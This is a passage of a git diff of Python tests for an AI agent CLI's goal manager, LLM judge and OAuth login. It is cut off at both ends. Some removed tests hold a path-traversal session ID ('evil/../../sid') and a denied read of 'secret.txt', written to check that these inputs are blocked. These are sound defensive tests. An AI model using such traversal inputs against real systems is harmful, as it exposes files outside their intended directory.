run_in_terminal's coroutine is - orphaned. The fallback must drive input() itself so user keystrokes - don't leak into the agent buffer. + This preserves the fallback for any prompt that still runs off the main + UI thread: run_in_terminal's coroutine would otherwise be orphaned. """ cli = _make_cli() captured = {} diff --git a/tests/gateway/test_goal_verdict_send.py b/tests/gateway/test_goal_verdict_send.py index ce9e8d6ad1e1..14f536aa4f8d 100644 --- a/tests/gateway/test_goal_verdict_send.py +++ b/tests/gateway/test_goal_verdict_send.py @@ -106,11 +106,8 @@ async def test_goal_verdict_done_sent_via_adapter_send(hermes_home): mgr = GoalManager(session_entry.session_id) mgr.set("ship the feature") - mgr.state.decomposed = True - from hermes_cli.goals import save_goal as _sg - _sg(mgr.session_id, mgr.state) - with patch("hermes_cli.goals.judge_goal_freeform", return_value=("done", "the feature shipped", False)): + with patch("hermes_cli.goals.judge_goal", return_value=("done", "the feature shipped", False)): await runner._post_turn_goal_continuation( session_entry=session_entry, source=src, @@ -138,11 +135,8 @@ async def test_goal_verdict_continue_enqueues_continuation(hermes_home): mgr = GoalManager(session_entry.session_id) mgr.set("polish the docs") - mgr.state.decomposed = True - from hermes_cli.goals import save_goal as _sg - _sg(mgr.session_id, mgr.state) - with patch("hermes_cli.goals.judge_goal_freeform", return_value=("continue", "still needs work", False)): + with patch("hermes_cli.goals.judge_goal", return_value=("continue", "still needs work", False)): await runner._post_turn_goal_continuation( session_entry=session_entry, source=src, @@ -170,7 +164,7 @@ async def test_goal_verdict_budget_exhausted_sends_pause(hermes_home): state.turns_used = 2 save_goal(session_entry.session_id, state) - with patch("hermes_cli.goals.judge_goal_freeform", return_value=("continue", "keep going", False)): + with patch("hermes_cli.goals.judge_goal", return_value=("continue", "keep going", False)): await runner._post_turn_goal_continuation( session_entry=session_entry, source=src, @@ -217,7 +211,7 @@ def __init__(self): runner.adapters[Platform.TELEGRAM] = _NoSendAdapter() - with patch("hermes_cli.goals.judge_goal_freeform", return_value=("done", "ok", False)): + with patch("hermes_cli.goals.judge_goal", return_value=("done", "ok", False)): # must not raise await runner._post_turn_goal_continuation( session_entry=session_entry, diff --git a/tests/hermes_cli/test_auth_commands.py b/tests/hermes_cli/test_auth_commands.py index 50f639d08ace..74e2a64d312f 100644 --- a/tests/hermes_cli/test_auth_commands.py +++ b/tests/hermes_cli/test_auth_commands.py @@ -170,6 +170,50 @@ class _Args: assert singleton["inference_base_url"] == "https://inference.example.com/v1" +def test_auth_add_minimax_oauth_starts_login_and_persists_pool_entry(tmp_path, monkeypatch): + monkeypatch.setenv("HERMES_HOME", str(tmp_path / "hermes")) + _write_auth_store(tmp_path, {"version": 1, "providers": {}}) + token = _jwt_with_email("minimax@example.com") + monkeypatch.setattr( + "hermes_cli.auth._minimax_oauth_login", + lambda **kwargs: { + "provider": "minimax-oauth", + "region": "global", + "portal_base_url": "https://api.minimax.io", + "inference_base_url": "https://api.minimax.io/anthropic", + "client_id": "client-id", + "scope": "group_id profile model.completion", + "token_type": "Bearer", + "access_token": token, + "refresh_token": "refresh-token", + "resource_url": None, + "obtained_at": "2026-05-11T10:00:00+00:00", + "expires_at": "2026-05-14T10:00:00+00:00", + "expires_in": 259200, + }, + ) + + from hermes_cli.auth_commands import auth_add_command + + class _Args: + provider = "minimax-oauth" + auth_type = "oauth" + api_key = None + label = None + no_browser = True + timeout = None + + auth_add_command(_Args()) + + payload = json.loads((tmp_path / "hermes" / "auth.json").read_text()) + entries = payload["credential_pool"]["minimax-oauth"] + entry = next(item for item in entries if item["source"] == "manual:minimax_oauth") + assert entry["label"] == "minimax@example.com" + assert entry["access_token"] == token + assert entry["refresh_token"] == "refresh-token" + assert entry["base_url"] == "https://api.minimax.io/anthropic" + + def test_auth_add_nous_oauth_honors_custom_label(tmp_path, monkeypatch): """`hermes auth add nous --type oauth --label ` must preserve the custom label end-to-end — it was silently dropped in the first cut of the diff --git a/tests/hermes_cli/test_goals.py b/tests/hermes_cli/test_goals.py index 680bf5ec1c81..b5afd716c9ed 100644 --- a/tests/hermes_cli/test_goals.py +++ b/tests/hermes_cli/test_goals.py @@ -253,20 +253,14 @@ def test_persistence_across_managers(self, hermes_home): assert mgr2.is_active() def test_evaluate_after_turn_done(self, hermes_home): - """Judge says done → status=done, no continuation. - - Skips Phase-A decompose by patching ``decompose_goal`` to return - an empty checklist so the manager falls through to the freeform - judge path (legacy behavior preserved when decompose is unavailable). - """ + """Judge says done → status=done, no continuation.""" from hermes_cli import goals from hermes_cli.goals import GoalManager mgr = GoalManager(session_id="eval-sid-1") mgr.set("ship it") - with patch.object(goals, "decompose_goal", return_value=([], "stub")), \ - patch.object(goals, "judge_goal_freeform", return_value=("done", "shipped", False)): + with patch.object(goals, "judge_goal", return_value=("done", "shipped", False)): decision = mgr.evaluate_after_turn("I shipped the feature.") assert decision["verdict"] == "done" @@ -282,8 +276,7 @@ def test_evaluate_after_turn_continue_under_budget(self, hermes_home): mgr = GoalManager(session_id="eval-sid-2", default_max_turns=5) mgr.set("a long goal") - with patch.object(goals, "decompose_goal", return_value=([], "stub")), \ - patch.object(goals, "judge_goal_freeform", return_value=("continue", "more work", False)): + with patch.object(goals, "judge_goal", return_value=("continue", "more work", False)): decision = mgr.evaluate_after_turn("made some progress") assert decision["verdict"] == "continue" @@ -301,8 +294,7 @@ def test_evaluate_after_turn_budget_exhausted(self, hermes_home): mgr = GoalManager(session_id="eval-sid-3", default_max_turns=2) mgr.set("hard goal") - with patch.object(goals, "decompose_goal", return_value=([], "stub")), \ - patch.object(goals, "judge_goal_freeform", return_value=("continue", "not yet", False)): + with patch.object(goals, "judge_goal", return_value=("continue", "not yet", False)): d1 = mgr.evaluate_after_turn("step 1") assert d1["should_continue"] is True assert mgr.state.turns_used == 1 @@ -442,11 +434,9 @@ def test_auto_pause_after_three_consecutive_parse_failures(self, hermes_home): mgr = GoalManager(session_id="parse-fail-sid-1", default_max_turns=20) mgr.set("do a thing") - with patch.object(goals, "decompose_goal", return_value=([], "stub")), \ - patch.object( - goals, "judge_goal_freeform", - return_value=("continue", "judge returned empty response", True), - ): + with patch.object( + goals, "judge_goal", return_value=("continue", "judge returned empty response", True) + ): d1 = mgr.evaluate_after_turn("step 1") assert d1["should_continue"] is True assert mgr.state.consecutive_parse_failures == 1 @@ -473,21 +463,17 @@ def test_parse_failure_counter_resets_on_good_reply(self, hermes_home): mgr.set("another goal") # Two parse failures… - with patch.object(goals, "decompose_goal", return_value=([], "stub")), \ - patch.object( - goals, "judge_goal_freeform", - return_value=("continue", "not json", True), - ): + with patch.object( + goals, "judge_goal", return_value=("continue", "not json", True) + ): mgr.evaluate_after_turn("step 1") mgr.evaluate_after_turn("step 2") assert mgr.state.consecutive_parse_failures == 2 # …then one clean reply resets the counter. - with patch.object(goals, "decompose_goal", return_value=([], "stub")), \ - patch.object( - goals, "judge_goal_freeform", - return_value=("continue", "making progress", False), - ): + with patch.object( + goals, "judge_goal", return_value=("continue", "making progress", False) + ): d = mgr.evaluate_after_turn("step 3") assert d["should_continue"] is True assert mgr.state.consecutive_parse_failures == 0 @@ -500,11 +486,9 @@ def test_parse_failure_counter_not_incremented_by_api_errors(self, hermes_home): mgr = GoalManager(session_id="parse-fail-sid-3", default_max_turns=20) mgr.set("goal") - with patch.object(goals, "decompose_goal", return_value=([], "stub")), \ - patch.object( - goals, "judge_goal_freeform", - return_value=("continue", "judge error: RuntimeError", False), - ): + with patch.object( + goals, "judge_goal", return_value=("continue", "judge error: RuntimeError", False) + ): for _ in range(5): d = mgr.evaluate_after_turn("still going") assert d["should_continue"] is True @@ -521,857 +505,12 @@ def test_consecutive_parse_failures_persists_across_goalmanager_reloads( mgr = GoalManager(session_id="parse-fail-sid-4", default_max_turns=20) mgr.set("persistent goal") - with patch.object(goals, "decompose_goal", return_value=([], "stub")), \ - patch.object( - goals, "judge_goal_freeform", - return_value=("continue", "empty", True), - ): + with patch.object( + goals, "judge_goal", return_value=("continue", "empty", True) + ): mgr.evaluate_after_turn("r") mgr.evaluate_after_turn("r") reloaded = load_goal("parse-fail-sid-4") assert reloaded is not None assert reloaded.consecutive_parse_failures == 2 - - -# ────────────────────────────────────────────────────────────────────── -# Checklist mode: GoalState backcompat + ChecklistItem -# ────────────────────────────────────────────────────────────────────── - - -class TestGoalStateBackcompat: - def test_old_state_meta_row_loads_without_checklist_fields(self): - """A goal serialized BEFORE the checklist fields existed must - round-trip through GoalState.from_json with empty defaults.""" - from hermes_cli.goals import GoalState - - legacy_json = json.dumps({ - "goal": "do the thing", - "status": "active", - "turns_used": 3, - "max_turns": 20, - "created_at": 1.0, - "last_turn_at": 2.0, - "last_verdict": "continue", - "last_reason": "still working", - "paused_reason": None, - "consecutive_parse_failures": 1, - }) - state = GoalState.from_json(legacy_json) - assert state.goal == "do the thing" - assert state.checklist == [] - assert state.decomposed is False - - def test_new_state_round_trip(self): - from hermes_cli.goals import ( - ChecklistItem, - GoalState, - ITEM_COMPLETED, - ITEM_PENDING, - ADDED_BY_JUDGE, - ADDED_BY_USER, - ) - - state = GoalState( - goal="g", - decomposed=True, - checklist=[ - ChecklistItem(text="a", status=ITEM_COMPLETED, - added_by=ADDED_BY_JUDGE, evidence="done"), - ChecklistItem(text="b", status=ITEM_PENDING, - added_by=ADDED_BY_USER), - ], - ) - round_tripped = GoalState.from_json(state.to_json()) - assert round_tripped.decomposed is True - assert len(round_tripped.checklist) == 2 - assert round_tripped.checklist[0].text == "a" - assert round_tripped.checklist[0].status == ITEM_COMPLETED - assert round_tripped.checklist[0].evidence == "done" - assert round_tripped.checklist[1].added_by == ADDED_BY_USER - - def test_checklist_counts_and_all_terminal(self): - from hermes_cli.goals import ( - ChecklistItem, GoalState, - ITEM_COMPLETED, ITEM_IMPOSSIBLE, ITEM_PENDING, - ) - - state = GoalState( - goal="g", - checklist=[ - ChecklistItem(text="a", status=ITEM_COMPLETED), - ChecklistItem(text="b", status=ITEM_IMPOSSIBLE), - ChecklistItem(text="c", status=ITEM_PENDING), - ], - ) - total, done, imp, pending = state.checklist_counts() - assert (total, done, imp, pending) == (3, 1, 1, 1) - assert state.all_terminal() is False - - state.checklist[2].status = ITEM_IMPOSSIBLE - assert state.all_terminal() is True - - def test_empty_checklist_is_not_all_terminal(self): - """Empty list must NOT be considered done.""" - from hermes_cli.goals import GoalState - - state = GoalState(goal="g") - assert state.all_terminal() is False - - -# ────────────────────────────────────────────────────────────────────── -# Phase A: decompose -# ────────────────────────────────────────────────────────────────────── - - -class TestPhaseADecompose: - def test_decompose_writes_checklist_and_marks_decomposed(self, hermes_home): - from hermes_cli import goals - from hermes_cli.goals import GoalManager, ITEM_PENDING, ADDED_BY_JUDGE - - mgr = GoalManager(session_id="phase-a-sid-1") - mgr.set("build a website") - - items = [{"text": "homepage exists"}, {"text": "is mobile-friendly"}] - with patch.object(goals, "decompose_goal", return_value=(items, None)): - d = mgr.evaluate_after_turn("(initial response)") - - assert d["verdict"] == "decompose" - assert d["should_continue"] is True - # Phase A produces a continuation prompt that includes the checklist. - assert d["continuation_prompt"] is not None - assert "Checklist progress" in d["continuation_prompt"] - assert mgr.state.decomposed is True - assert len(mgr.state.checklist) == 2 - assert mgr.state.checklist[0].text == "homepage exists" - assert mgr.state.checklist[0].status == ITEM_PENDING - assert mgr.state.checklist[0].added_by == ADDED_BY_JUDGE - - def test_decompose_only_runs_once(self, hermes_home): - """Decomposed=True after first call. Subsequent calls go to Phase B.""" - from hermes_cli import goals - from hermes_cli.goals import GoalManager - - mgr = GoalManager(session_id="phase-a-sid-2") - mgr.set("g") - - with patch.object( - goals, "decompose_goal", return_value=([{"text": "x"}], None) - ) as decompose_mock, patch.object( - goals, "evaluate_checklist", - return_value=({"updates": [], "new_items": [], "reason": "..."}, False), - ) as eval_mock: - mgr.evaluate_after_turn("turn 1") - mgr.evaluate_after_turn("turn 2") - mgr.evaluate_after_turn("turn 3") - - assert decompose_mock.call_count == 1 - assert eval_mock.call_count == 2 - - def test_decompose_failure_falls_back_to_freeform(self, hermes_home): - """If decompose returns no items, manager falls through to freeform judge.""" - from hermes_cli import goals - from hermes_cli.goals import GoalManager - - mgr = GoalManager(session_id="phase-a-sid-3") - mgr.set("g") - - with patch.object(goals, "decompose_goal", return_value=([], "model error")), \ - patch.object(goals, "judge_goal_freeform", - return_value=("done", "shipped", False)): - d = mgr.evaluate_after_turn("done!") - - assert d["verdict"] == "done" - assert mgr.state.decomposed is True - assert mgr.state.checklist == [] - - -# ────────────────────────────────────────────────────────────────────── -# Phase B: evaluate (checklist mode) -# ────────────────────────────────────────────────────────────────────── - - -class TestPhaseBChecklist: - def _make_decomposed_mgr(self, sid: str, items): - """Helper: skip Phase A, install a decomposed checklist directly.""" - from hermes_cli.goals import ( - GoalManager, ChecklistItem, ITEM_PENDING, ADDED_BY_JUDGE, - ) - from hermes_cli import goals as _g - mgr = GoalManager(session_id=sid) - mgr.set("a goal") - mgr.state.decomposed = True - mgr.state.checklist = [ - ChecklistItem(text=t, status=ITEM_PENDING, added_by=ADDED_BY_JUDGE) - for t in items - ] - _g.save_goal(sid, mgr.state) - return mgr - - def test_judge_flips_pending_to_completed(self, hermes_home): - from hermes_cli import goals - from hermes_cli.goals import ITEM_COMPLETED, ITEM_PENDING - - mgr = self._make_decomposed_mgr("phase-b-1", ["a", "b", "c"]) - with patch.object( - goals, "evaluate_checklist", - return_value=( - { - "updates": [ - {"index": 0, "status": "completed", "evidence": "done"}, - {"index": 1, "status": "completed", "evidence": "shipped"}, - ], - "new_items": [], - "reason": "made progress", - }, - False, - ), - ): - d = mgr.evaluate_after_turn("agent did stuff") - - assert d["verdict"] == "continue" - assert mgr.state.checklist[0].status == ITEM_COMPLETED - assert mgr.state.checklist[0].evidence == "done" - assert mgr.state.checklist[1].status == ITEM_COMPLETED - assert mgr.state.checklist[2].status == ITEM_PENDING - - def test_goal_done_when_all_items_terminal(self, hermes_home): - from hermes_cli import goals - - mgr = self._make_decomposed_mgr("phase-b-2", ["a", "b"]) - with patch.object( - goals, "evaluate_checklist", - return_value=( - { - "updates": [ - {"index": 0, "status": "completed", "evidence": "ok"}, - {"index": 1, "status": "impossible", "evidence": "blocked"}, - ], - "new_items": [], - "reason": "all done or blocked", - }, - False, - ), - ): - d = mgr.evaluate_after_turn("response") - - assert d["verdict"] == "done" - assert d["should_continue"] is False - assert mgr.state.status == "done" - - def test_stickiness_judge_cannot_regress_completed(self, hermes_home): - """Once an item is completed, judge updates trying to flip it back are ignored.""" - from hermes_cli import goals - from hermes_cli.goals import ITEM_COMPLETED - - mgr = self._make_decomposed_mgr("phase-b-stick", ["a"]) - # First turn completes item 0. - with patch.object( - goals, "evaluate_checklist", - return_value=( - { - "updates": [{"index": 0, "status": "completed", "evidence": "yes"}], - "new_items": [], - "reason": "done", - }, - False, - ), - ): - mgr.evaluate_after_turn("turn 1") - assert mgr.state.checklist[0].status == ITEM_COMPLETED - # Second turn: judge tries to send a non-terminal update. - # _parse_evaluate_response already filters non-terminal, but at the - # apply layer we also skip terminal items entirely. Smoke both. - with patch.object( - goals, "evaluate_checklist", - return_value=( - { - "updates": [{"index": 0, "status": "impossible", "evidence": "regress"}], - "new_items": [], - "reason": "trying to regress", - }, - False, - ), - ): - mgr.evaluate_after_turn("turn 2") - # Sticky: status stays completed, evidence unchanged. - assert mgr.state.checklist[0].status == ITEM_COMPLETED - assert mgr.state.checklist[0].evidence == "yes" - - def test_judge_appends_new_items(self, hermes_home): - from hermes_cli import goals - - mgr = self._make_decomposed_mgr("phase-b-new", ["a"]) - with patch.object( - goals, "evaluate_checklist", - return_value=( - { - "updates": [], - "new_items": [{"text": "newly discovered"}, {"text": "also this"}], - "reason": "found more work", - }, - False, - ), - ): - mgr.evaluate_after_turn("response") - assert len(mgr.state.checklist) == 3 - assert mgr.state.checklist[1].text == "newly discovered" - assert mgr.state.checklist[1].added_by == "judge" - - -# ────────────────────────────────────────────────────────────────────── -# /subgoal user controls -# ────────────────────────────────────────────────────────────────────── - - -class TestSubgoalUserControls: - def test_add_subgoal_appends_user_item(self, hermes_home): - from hermes_cli.goals import GoalManager, ITEM_PENDING, ADDED_BY_USER - - mgr = GoalManager(session_id="user-sid-1") - mgr.set("g") - item = mgr.add_subgoal("user added") - assert item.text == "user added" - assert item.status == ITEM_PENDING - assert item.added_by == ADDED_BY_USER - assert len(mgr.state.checklist) == 1 - - def test_add_subgoal_requires_active_goal(self, hermes_home): - from hermes_cli.goals import GoalManager - mgr = GoalManager(session_id="user-sid-2") - with pytest.raises(RuntimeError): - mgr.add_subgoal("x") - - def test_add_subgoal_rejects_empty_text(self, hermes_home): - from hermes_cli.goals import GoalManager - mgr = GoalManager(session_id="user-sid-3") - mgr.set("g") - with pytest.raises(ValueError): - mgr.add_subgoal(" ") - - def test_mark_subgoal_uses_1_based_index(self, hermes_home): - from hermes_cli.goals import GoalManager, ITEM_COMPLETED, ITEM_IMPOSSIBLE - mgr = GoalManager(session_id="user-sid-4") - mgr.set("g") - mgr.add_subgoal("a") - mgr.add_subgoal("b") - mgr.add_subgoal("c") - mgr.mark_subgoal(2, "completed") - mgr.mark_subgoal(3, "impossible") - assert mgr.state.checklist[0].status == "pending" - assert mgr.state.checklist[1].status == ITEM_COMPLETED - assert mgr.state.checklist[2].status == ITEM_IMPOSSIBLE - - def test_mark_subgoal_rejects_invalid_index(self, hermes_home): - from hermes_cli.goals import GoalManager - mgr = GoalManager(session_id="user-sid-5") - mgr.set("g") - mgr.add_subgoal("a") - with pytest.raises(IndexError): - mgr.mark_subgoal(5, "completed") - with pytest.raises(IndexError): - mgr.mark_subgoal(0, "completed") - - def test_user_can_revert_terminal_item(self, hermes_home): - """User mark_subgoal bypasses stickiness — only path to revert.""" - from hermes_cli.goals import GoalManager, ITEM_COMPLETED, ITEM_PENDING - mgr = GoalManager(session_id="user-sid-6") - mgr.set("g") - mgr.add_subgoal("a") - mgr.mark_subgoal(1, "completed") - assert mgr.state.checklist[0].status == ITEM_COMPLETED - mgr.mark_subgoal(1, "pending") - assert mgr.state.checklist[0].status == ITEM_PENDING - - def test_remove_subgoal(self, hermes_home): - from hermes_cli.goals import GoalManager - mgr = GoalManager(session_id="user-sid-7") - mgr.set("g") - mgr.add_subgoal("a") - mgr.add_subgoal("b") - mgr.add_subgoal("c") - removed = mgr.remove_subgoal(2) - assert removed.text == "b" - assert [it.text for it in mgr.state.checklist] == ["a", "c"] - - def test_clear_checklist_resets_decomposed(self, hermes_home): - from hermes_cli.goals import GoalManager - mgr = GoalManager(session_id="user-sid-8") - mgr.set("g") - mgr.state.decomposed = True - mgr.add_subgoal("a") - mgr.clear_checklist() - assert mgr.state.checklist == [] - assert mgr.state.decomposed is False - - -# ────────────────────────────────────────────────────────────────────── -# Conversation dump -# ────────────────────────────────────────────────────────────────────── - - -class TestConversationDump: - def test_dump_writes_messages_to_goals_dir(self, hermes_home): - from hermes_cli.goals import dump_conversation, conversation_dump_path - - msgs = [ - {"role": "user", "content": "hi"}, - {"role": "assistant", "content": "hello"}, - ] - path = dump_conversation("dump-sid-1", msgs) - assert path is not None - assert path.exists() - # Path is under /goals/.json - assert path.parent.name == "goals" - assert path.name == "dump-sid-1.json" - - loaded = json.loads(path.read_text()) - assert loaded == msgs - - # conversation_dump_path returns the same path - assert conversation_dump_path("dump-sid-1") == path - - def test_dump_handles_unsafe_session_id(self, hermes_home): - from hermes_cli.goals import dump_conversation - - path = dump_conversation("evil/../../sid", [{"role": "user", "content": "x"}]) - assert path is not None - # No traversal — slashes are normalized to underscores. (Periods are - # preserved because they're legitimate in filenames; the resulting - # name still cannot escape /goals/ since path - # separators are gone.) - assert "/" not in path.name - assert path.parent.name == "goals" - # Verify the resolved path stays under the goals dir. - from hermes_cli.goals import _goals_dump_dir - goals_dir = _goals_dump_dir().resolve() - assert str(path.resolve()).startswith(str(goals_dir)) - - def test_dump_skips_when_messages_empty(self, hermes_home): - from hermes_cli.goals import dump_conversation - assert dump_conversation("sid", []) is None - assert dump_conversation("", [{"role": "user", "content": "x"}]) is None - - -# ────────────────────────────────────────────────────────────────────── -# Judge read_file tool: path restriction -# ────────────────────────────────────────────────────────────────────── - - -class TestJudgeReadFile: - def test_restricted_to_allowed_path(self, hermes_home, tmp_path): - from hermes_cli.goals import _judge_read_file - - allowed = tmp_path / "allowed.json" - allowed.write_text("hello\nworld\n") - - ok = _judge_read_file(str(allowed), allowed_path=allowed) - loaded = json.loads(ok) - assert loaded["content"].startswith("hello") - - # Try to read a different file. - sneaky = tmp_path / "secret.txt" - sneaky.write_text("nope\n") - denied = _judge_read_file(str(sneaky), allowed_path=allowed) - loaded = json.loads(denied) - assert "error" in loaded - assert "restricted" in loaded["error"] - - def test_pagination(self, hermes_home, tmp_path): - from hermes_cli.goals import _judge_read_file - f = tmp_path / "big.json" - f.write_text("\n".join(f"line-{i}" for i in range(50)) + "\n") - - # offset=10, limit=5 should return lines 10..14. - result = json.loads(_judge_read_file(str(f), offset=10, limit=5, allowed_path=f)) - assert result["returned"] == 5 - assert "line-9" in result["content"] # 1-based: line 10 == zero-indexed 9 - assert result["next_offset"] == 15 - - -# ────────────────────────────────────────────────────────────────────── -# Index conversion: judge emits 1-based, apply layer uses 0-based -# ────────────────────────────────────────────────────────────────────── - - -class TestJudgeIndexConversion: - def test_parse_evaluate_converts_1based_to_0based(self): - """The judge sees the checklist with 1-based indices (rendered as - '1. [ ] foo, 2. [ ] bar'). It emits updates with those same indices. - ``_parse_evaluate_response`` must convert them to 0-based so the - apply layer can index ``state.checklist`` directly. - """ - from hermes_cli.goals import _parse_evaluate_response - - raw = ''' - {"updates": [ - {"index": 1, "status": "completed", "evidence": "first item"}, - {"index": 3, "status": "impossible", "evidence": "third item"} - ], - "new_items": [], - "reason": "evaluated"} - ''' - parsed, parse_failed = _parse_evaluate_response(raw) - assert parse_failed is False - # 1 → 0, 3 → 2 - assert [u["index"] for u in parsed["updates"]] == [0, 2] - assert parsed["updates"][0]["evidence"] == "first item" - assert parsed["updates"][1]["status"] == "impossible" - - def test_full_round_trip_judge_index_to_state(self, hermes_home): - """End-to-end: judge emits 1-based, parser converts, apply layer - flips the right items in state.checklist.""" - from hermes_cli import goals - from hermes_cli.goals import ( - GoalManager, ChecklistItem, ITEM_PENDING, ITEM_COMPLETED, - ADDED_BY_JUDGE, - ) - - mgr = GoalManager(session_id="idx-round-trip") - mgr.set("g") - mgr.state.decomposed = True - mgr.state.checklist = [ - ChecklistItem(text="first", status=ITEM_PENDING, added_by=ADDED_BY_JUDGE), - ChecklistItem(text="second", status=ITEM_PENDING, added_by=ADDED_BY_JUDGE), - ChecklistItem(text="third", status=ITEM_PENDING, added_by=ADDED_BY_JUDGE), - ] - goals.save_goal("idx-round-trip", mgr.state) - - # Simulate the judge returning a raw-JSON Phase-B reply via the - # auxiliary client: the parser handles the 1-based → 0-based - # conversion so the apply layer flips item 1 (text="first"). - class FakeMessage: - content = ''' - {"updates": [{"index": 1, "status": "completed", "evidence": "first done"}], - "new_items": [], - "reason": "..."} - ''' - tool_calls = None - - class FakeChoice: - message = FakeMessage() - - class FakeResponse: - choices = [FakeChoice()] - - class FakeClient: - class chat: - class completions: - @staticmethod - def create(**kwargs): - return FakeResponse() - - with patch.object(goals, "_get_judge_client", return_value=(FakeClient, "fake-model")): - mgr.evaluate_after_turn("ran the script and item 1 is done") - - # Item 1 (text="first") should now be completed. - assert mgr.state.checklist[0].text == "first" - assert mgr.state.checklist[0].status == ITEM_COMPLETED - assert mgr.state.checklist[0].evidence == "first done" - # Other items still pending. - assert mgr.state.checklist[1].status == ITEM_PENDING - assert mgr.state.checklist[2].status == ITEM_PENDING - - -# ────────────────────────────────────────────────────────────────────── -# Compression session-rotation: goal must follow the new session_id -# ────────────────────────────────────────────────────────────────────── - - -class TestGoalSurvivesCompressionRotation: - def test_load_goal_after_session_id_rotates(self, hermes_home): - """When auto-compression rotates the session_id, the goal must be - readable from the new session_id (forwarded by run_agent's - _compress_context block). - - We don't run the full _compress_context method here — it has - ~60 dependencies. Instead we mirror exactly what that block does - with state_meta and assert the goal manager picks it up. - """ - from hermes_cli.goals import GoalManager - from hermes_state import SessionDB - - # Create a goal under a parent session_id. - parent_sid = "parent-rotate-001" - mgr = GoalManager(session_id=parent_sid) - mgr.set("survive compression") - assert mgr.is_active() - - # Simulate the run_agent._compress_context forwarding block: - # read goal:, write goal: on the same SessionDB instance. - db = SessionDB() - new_sid = "child-rotate-001" - blob = db.get_meta(f"goal:{parent_sid}") - assert blob, "goal must be in state_meta" - db.set_meta(f"goal:{new_sid}", blob) - - # New GoalManager for the rotated session_id should load the same goal. - mgr2 = GoalManager(session_id=new_sid) - assert mgr2.is_active() - assert mgr2.state.goal == "survive compression" - # Counters/checklist preserved verbatim. - assert mgr2.state.turns_used == mgr.state.turns_used - assert mgr2.state.checklist == mgr.state.checklist - - def test_no_forward_when_no_goal(self, hermes_home): - """Forwarding is a no-op when the parent session has no goal.""" - from hermes_state import SessionDB - from hermes_cli.goals import load_goal - - db = SessionDB() - # Parent has no goal at all. - assert db.get_meta("goal:parent-no-goal") is None - blob = db.get_meta("goal:parent-no-goal") - if blob: # parity with production guard - db.set_meta("goal:child-no-goal", blob) - - # Child should still have no goal. - assert load_goal("child-no-goal") is None - - -# ────────────────────────────────────────────────────────────────────── -# Forced tool-call judge: submit_checklist (Phase A) + update_checklist (Phase B) -# ────────────────────────────────────────────────────────────────────── - - -class _FakeFn: - def __init__(self, name, args): - self.name = name - self.arguments = args if isinstance(args, str) else json.dumps(args) - - -class _FakeToolCall: - def __init__(self, tc_id, name, args): - self.id = tc_id - self.type = "function" - self.function = _FakeFn(name, args) - - -class _FakeMessage: - def __init__(self, *, content="", tool_calls=None): - self.content = content - self.tool_calls = tool_calls or [] - - -class _FakeChoice: - def __init__(self, message): - self.message = message - - -class _FakeResponse: - def __init__(self, message): - self.choices = [_FakeChoice(message)] - - -def _make_fake_client(scripted_messages): - """Return a fake client whose .chat.completions.create() returns the - next scripted message each call. Mutates the underlying list as a - queue so repeat calls advance. - """ - class FakeClient: - class chat: - class completions: - _queue = list(scripted_messages) - _calls = [] - - @classmethod - def create(cls, **kwargs): - cls._calls.append(kwargs) - if not cls._queue: - raise RuntimeError("scripted-message queue exhausted") - return _FakeResponse(cls._queue.pop(0)) - - return FakeClient - - -class TestPhaseAToolCall: - def test_decompose_via_submit_checklist_tool(self, hermes_home): - from hermes_cli import goals - from hermes_cli.goals import decompose_goal - - msg = _FakeMessage( - tool_calls=[_FakeToolCall( - "tc-1", "submit_checklist", - {"items": [{"text": "first criterion"}, {"text": "second criterion"}]}, - )], - ) - client = _make_fake_client([msg]) - - with patch.object(goals, "_get_judge_client", return_value=(client, "fake-model")): - items, err = decompose_goal("build a website") - - assert err is None - assert [it["text"] for it in items] == ["first criterion", "second criterion"] - # Verify we forced the tool: tool_choice should target submit_checklist. - call = client.chat.completions._calls[0] - assert "tools" in call - assert call["tools"][0]["function"]["name"] == "submit_checklist" - # tool_choice should be either {"type":"function","function":{"name":"submit_checklist"}} - # or "required" / "auto" if a fallback was used; primary attempt forces it. - tc = call["tool_choice"] - assert ( - (isinstance(tc, dict) and tc.get("function", {}).get("name") == "submit_checklist") - or tc == "required" - or tc == "auto" - ) - - def test_decompose_falls_back_to_json_content_when_no_tool_call(self, hermes_home): - """If a broken provider returns content instead of a tool call, the - backstop JSON parser still salvages a checklist.""" - from hermes_cli import goals - from hermes_cli.goals import decompose_goal - - msg = _FakeMessage( - content='{"checklist": [{"text": "salvaged"}]}', - tool_calls=[], - ) - client = _make_fake_client([msg]) - - with patch.object(goals, "_get_judge_client", return_value=(client, "fake-model")): - items, err = decompose_goal("g") - - assert err is None - assert items == [{"text": "salvaged"}] - - def test_decompose_returns_error_when_no_tool_and_no_json(self, hermes_home): - from hermes_cli import goals - from hermes_cli.goals import decompose_goal - - msg = _FakeMessage(content="I think this should be done in stages.", tool_calls=[]) - client = _make_fake_client([msg]) - - with patch.object(goals, "_get_judge_client", return_value=(client, "fake-model")): - items, err = decompose_goal("g") - - assert items == [] - assert err and "submit_checklist" in err - - def test_decompose_drops_empty_text_items(self, hermes_home): - from hermes_cli import goals - from hermes_cli.goals import decompose_goal - - msg = _FakeMessage( - tool_calls=[_FakeToolCall( - "tc-1", "submit_checklist", - {"items": [{"text": "ok"}, {"text": ""}, {"text": " "}, {"text": "two"}]}, - )], - ) - client = _make_fake_client([msg]) - - with patch.object(goals, "_get_judge_client", return_value=(client, "fake-model")): - items, err = decompose_goal("g") - - assert err is None - assert [it["text"] for it in items] == ["ok", "two"] - - -class TestPhaseBToolCall: - def test_evaluate_via_update_checklist_tool(self, hermes_home): - from hermes_cli import goals - from hermes_cli.goals import evaluate_checklist, GoalState, ChecklistItem, ITEM_PENDING - - state = GoalState( - goal="g", - decomposed=True, - checklist=[ - ChecklistItem(text="a", status=ITEM_PENDING), - ChecklistItem(text="b", status=ITEM_PENDING), - ], - ) - - msg = _FakeMessage( - tool_calls=[_FakeToolCall( - "tc-1", "update_checklist", - { - # 1-based indices; layer converts to 0-based. - "updates": [{"index": 1, "status": "completed", "evidence": "did a"}], - "new_items": [{"text": "discovered c"}], - "reason": "ran a", - }, - )], - ) - client = _make_fake_client([msg]) - - with patch.object(goals, "_get_judge_client", return_value=(client, "fake-model")): - parsed, parse_failed = evaluate_checklist( - state, "did the first thing", history_path=None, - ) - - assert parse_failed is False - # Index converted 1 → 0 - assert parsed["updates"] == [{"index": 0, "status": "completed", "evidence": "did a"}] - assert parsed["new_items"] == [{"text": "discovered c"}] - assert parsed["reason"] == "ran a" - - def test_evaluate_does_read_file_then_update(self, hermes_home, tmp_path): - """Phase-B tool loop: judge calls read_file once, then update_checklist.""" - from hermes_cli import goals - from 